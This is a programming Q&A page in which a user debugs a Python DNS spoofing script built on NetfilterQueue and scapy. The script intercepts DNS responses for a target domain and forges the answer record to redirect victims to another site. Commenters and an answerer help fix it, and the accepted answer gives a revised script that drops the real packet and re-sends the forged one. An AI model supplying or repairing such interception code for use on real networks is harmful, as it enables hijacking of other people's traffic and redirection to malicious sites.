0

I am trying to alter the payload of a packet using NetfilterQueue and Python3 however, I get the error:

AttributeError: 'netfilterqueue.Packet' object has no attribute 'set_payload'

Below is the code I am using. How can I rectify the error?

import netfilterqueue
import scapy.all as scapy

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
        qname = str(scapy_packet[scapy.DNSQR].qname)
        print(qname)
        if "<web_address>" in qname:
            print("[+] Spoofing target...")
            answer = scapy.DNSRR(rrname = qname, rdata = "<web_site>")
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1
            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.UDP].chksum
            del scapy_packet[scapy.UDP].len
            packet.set_payload(str(scapy_packet))
    packet.accept()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0,process_packet)
queue.run()
James Z
  • 12,209
  • 10
  • 24
  • 44
Spartacus98
  • 82
  • 1
  • 9
  • 1
    What about ```packet.payload = Raw(str(scapy_packet))```? – qouify Jul 14 '20 at 08:39
  • @qouify , I tried your solution but I get the error : Exception NameError: "global name 'Raw' is not defined" in 'netfilterqueue.global_callback' ignored . Do you know how to solve this? – Spartacus98 Jul 16 '20 at 09:46
  • 1
    of course, my mistake. try ```scapy.Raw``` instead of just ```Raw``` – qouify Jul 16 '20 at 11:18
  • @qouify , that solved that issue but now im getting the error : Exception AttributeError: "attribute 'payload' of 'netfilterqueue.Packet' objects is not writable" in 'netfilterqueue.global_callback' ignored – Spartacus98 Jul 16 '20 at 14:47

1 Answers1

1

I had the same issue, it seems netfilterqueue is kind of obsolete. For your case i suggest you just drop by default the packets and instead of packet.accept() use scapy's send() function :

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
        qname = str(scapy_packet[scapy.DNSQR].qname)
        print(qname)
        if "<web_address>" in qname:
            print("[+] Spoofing target...")
            answer = scapy.DNSRR(rrname = qname, rdata = "<web_site>")
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1
            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.UDP].chksum
            del scapy_packet[scapy.UDP].len



    packet.drop()
    send(scapy_packet)